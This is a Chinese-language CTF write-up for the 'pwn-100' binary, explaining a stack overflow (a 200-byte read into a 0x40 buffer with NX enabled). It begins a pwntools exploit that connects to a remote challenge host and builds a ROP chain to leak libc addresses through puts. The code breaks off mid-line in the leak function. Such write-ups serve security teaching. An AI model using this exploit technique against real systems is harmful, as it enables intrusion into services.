查保护
开了NX,没办法直接往栈上写ShellCode
放入IDA分析
参数a1,是栈上的地址;a2是长度200;这个函数存在栈溢出漏洞,这个函数最多可以通过read读取200个字符,而用户输入数据的首地址到ebp只有0x40个字节。
这个程序没有提供libc,也没有后门函数,但是有puts函数,可以通过pwntools的DynELF来泄露地址,也可以使用LibcSearcher
后面讲解exp中用到的3个payload为什么这么构造
from pwn import *
#p = process("./pwn-100")
p = remote("111.198.29.45",42709)
elf = ELF("./pwn-100")
read_got = elf.got['read']
puts_plt = elf.plt['puts']
start = 0x400550
pop_rdi = 0x400763
#ROPgadget --binary "pwn-100" --only "pop|ret" | grep "rdi"
#rdi,rsi,rdx,rcx,r8,r9
def leak(address):
payload1 = "a" * 0x48 + p64(pop_rdi) + p64(address) + p64(puts_plt) + p64(start)
payload1 = payload1.ljust(200,"a")
p.send(payload1)
p.recvuntil("bye~\n")
up = ""
content = ""
count = 0
while True:
c = p.recv(numb=1, timeout=0.5